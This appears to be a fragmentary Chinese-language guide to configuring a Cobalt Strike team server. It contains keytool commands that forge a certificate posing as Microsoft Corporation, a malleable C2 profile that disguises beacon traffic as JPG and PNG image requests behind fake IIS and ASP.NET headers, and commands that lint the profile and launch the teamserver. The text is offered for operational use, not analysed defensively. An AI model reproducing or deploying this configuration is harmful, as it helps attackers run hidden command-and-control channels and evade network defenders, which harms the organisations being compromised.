01

rm -rf cobaltstrike.store   #   名字可能不是这个，但末尾一定是.store

#keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
keytool -keystore new-name.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias test.tk -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
#修改证书标准并应用
keytool -importkeystore -srckeystore new-name.store -destkeystore new-name.store -deststoretype pkcs12

Djavax.net.ssl.keyStore=./new-name.store   

keytool -list -v -keystore new-name.store

https-certificate {    set keystore "new-name.store";  #证书名字    set password "123456";    #证书密码}#以上没有配置cloudflare的时候可以先不写
http-get {    set uri "/image/";    client {        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";        header "Referer" "http://www.google.com";#        header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Pragma" "no-cache";        header "Cache-Control" "no-cache";        metadata {            netbios;            append ".jpg";  # 传输内容自动追加的后缀            uri-append;        }    }
    server {        header "Content-Type" "img/jpg";        header "Server" "Microsoft-IIS/6.0";        header "X-Powered-By" "ASP.NET";        output {            base64;  # 加密方式（base64、base64url、netbios、netbiosu）            print;        }    }}
http-post {    set uri "/email/";    client {        header "Content-Type" "application/octet-stream";        header "Referer" "http://www.google.com"; #        header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉        header "Pragma" "no-cache";        header "Cache-Control" "no-cache";        id {            netbiosu;            append ".png";            uri-append;        }        output {            base64;            print;        }    }    server {        header "Content-Type" "img/jpg";        header "Server" "Microsoft-IIS/6.0";        header "X-Powered-By" "ASP.NET";        output {            base64;            print;        }    }}

chmod 777 c2lint./c2lint c2.profile

./teamserver 192.168.32.131 6666 c2.profile

03

付费圈子

04

05

03